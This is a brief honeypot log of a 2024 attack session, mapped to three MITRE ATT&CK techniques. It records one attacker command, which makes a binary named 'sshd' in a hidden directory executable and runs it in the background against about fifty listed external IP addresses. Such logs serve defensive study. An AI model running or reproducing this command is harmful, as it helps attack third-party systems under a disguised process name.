Honeypot attack session (period 2024), commands issued:
chmod +x ./.2125835115516444126/sshd;nohup ./.2125835115516444126/sshd 3.110.47.31 184.171.255.66 18.60.43.243 217.164.248.192 115.171.58.137 208.65.84.143 3.143.0.102 54.215.116.66 54.215.53.237 210.211.117.224 103.157.26.103 154.126.176.254 185.149.146.80 18.200.140.117 153.92.223.186 194.164.205.169 46.32.178.42 3.84.225.115 13.57.252.5 13.229.114.158 52.53.188.221 54.175.228.186 3.110.224.238 38.60.219.124 36.151.192.51 174.138.21.113 52.66.192.32 27.150.172.136 93.51.37.228 54.176.31.15 18.141.180.43 18.60.129.132 50.17.62.112 87.95.130.220 222.77.96.52 54.193.233.32 65.109.172.116 3.101.151.39 188.235.173.203 3.101.14.190 115.171.54.163 202.83.16.143 188.40.201.199 43.229.150.156 54.193.101.238 23.237.98.30 54.219.82.133 124.126.215.174 216.185.57.196 77.38.253.151 185.126.9.46 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter